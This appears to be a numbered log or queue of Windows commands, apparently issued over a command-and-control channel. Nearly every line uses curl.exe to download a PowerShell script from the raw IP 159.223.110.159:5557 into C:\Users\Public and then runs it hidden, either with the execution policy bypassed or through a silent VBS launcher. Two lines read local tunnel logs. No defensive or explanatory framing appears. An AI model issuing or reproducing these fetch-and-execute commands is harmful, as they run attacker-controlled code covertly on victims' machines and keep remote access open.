177|curl.exe -s -o C:\Users\Public\u177.ps1 --max-time 90 "http://159.223.110.159:5557/u177.ps1?v=177a" & powershell.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\u177.ps1
176|curl.exe -s -o C:\Users\Public\u176.ps1 --max-time 60 "http://159.223.110.159:5557/u176.ps1?v=176a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u176.ps1
175|curl.exe -s -o C:\Users\Public\u175.ps1 --max-time 60 "http://159.223.110.159:5557/u175.ps1?v=175a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u175.ps1
174|curl.exe -s -o C:\Users\Public\u174.ps1 --max-time 60 "http://159.223.110.159:5557/u174.ps1?v=174a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u174.ps1
173|curl.exe -s -o C:\Users\Public\u173.ps1 --max-time 60 "http://159.223.110.159:5557/u173.ps1?v=173a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u173.ps1
172|curl.exe -s -o C:\Users\Public\u172.ps1 --max-time 60 "http://159.223.110.159:5557/u172.ps1?v=172a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u172.ps1
171|curl.exe -s -o C:\Users\Public\u171.ps1 --max-time 60 "http://159.223.110.159:5557/u171.ps1?v=171a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u171.ps1
170|curl.exe -s -o C:\Users\Public\u170.ps1 --max-time 60 "http://159.223.110.159:5557/u170.ps1?v=170a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u170.ps1
169|curl.exe -s -o C:\Users\Public\u169.ps1 --max-time 60 "http://159.223.110.159:5557/u169.ps1?v=169a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u169.ps1
168|curl.exe -s -o C:\Users\Public\u168.ps1 --max-time 60 "http://159.223.110.159:5557/u168.ps1?v=168a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u168.ps1
167|curl.exe -s -o C:\Users\Public\u167.ps1 --max-time 60 "http://159.223.110.159:5557/u167.ps1?v=167a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u167.ps1
166|cmd.exe /c type C:\Users\Public\pstun4_5691.log & type C:\Users\Public\pstun4_5692.log & type C:\Users\Public\pstun4_5693.log & type C:\Users\Public\pstun4_5694.log & type C:\Users\Public\pstun4_5695.log & type C:\Users\Public\pstun4_5696.log
165|powershell -NoP -C "foreach($p in 5691,5692,5693,5694,5695){ $f='C:\Users\Public\pstun4_$p.log'; if(Test-Path $f){ '== '+$p+' =='; Get-Content $f -Tail 6 } }"
164|curl.exe -s -o C:\Users\Public\u164.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u164.ps1?v=164a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u164.ps1 & echo GO164
163|curl.exe -s -o C:\Users\Public\u163.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u163.ps1?v=163a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u163.ps1 & echo GO163
162|curl.exe -s -o C:\Users\Public\u162.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u162.ps1?v=162a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u162.ps1 & echo GO162
160|curl.exe -s -o C:\Users\Public\u160.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u160.ps1?v=160a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u160.ps1 & echo GO160
159|curl.exe -s -o C:\Users\Public\u159.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u159.ps1?v=159a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u159.ps1 & echo GO159
158|curl.exe -s -o C:\Users\Public\u158.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u158.ps1?v=158a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u158.ps1 & echo GO158
157|curl.exe -s -o C:\Users\Public\u157.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u157.ps1?v=157a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u157.ps1 & echo GO157
156|curl.exe -s -o C:\Users\Public\u156.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u156.ps1?v=156a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u156.ps1 & echo GO156
155|curl.exe -s -o C:\Users\Public\u155.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u155.ps1?v=155a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u155.ps1 & echo GO155
154|curl.exe -s -o C:\Users\Public\u154.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u154.ps1?v=154a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u154.ps1 & echo GO154
153|curl.exe -s -o C:\Users\Public\u153.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u153.ps1?v=153a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u153.ps1 & echo GO153
152|curl.exe -s -o C:\Users\Public\u152.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u152.ps1?v=152a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u152.ps1 & echo GO152
151|curl.exe -s -o C:\Users\Public\u151.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u151.ps1?v=1" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u151.ps1 & echo GO151
# syncprobe 093625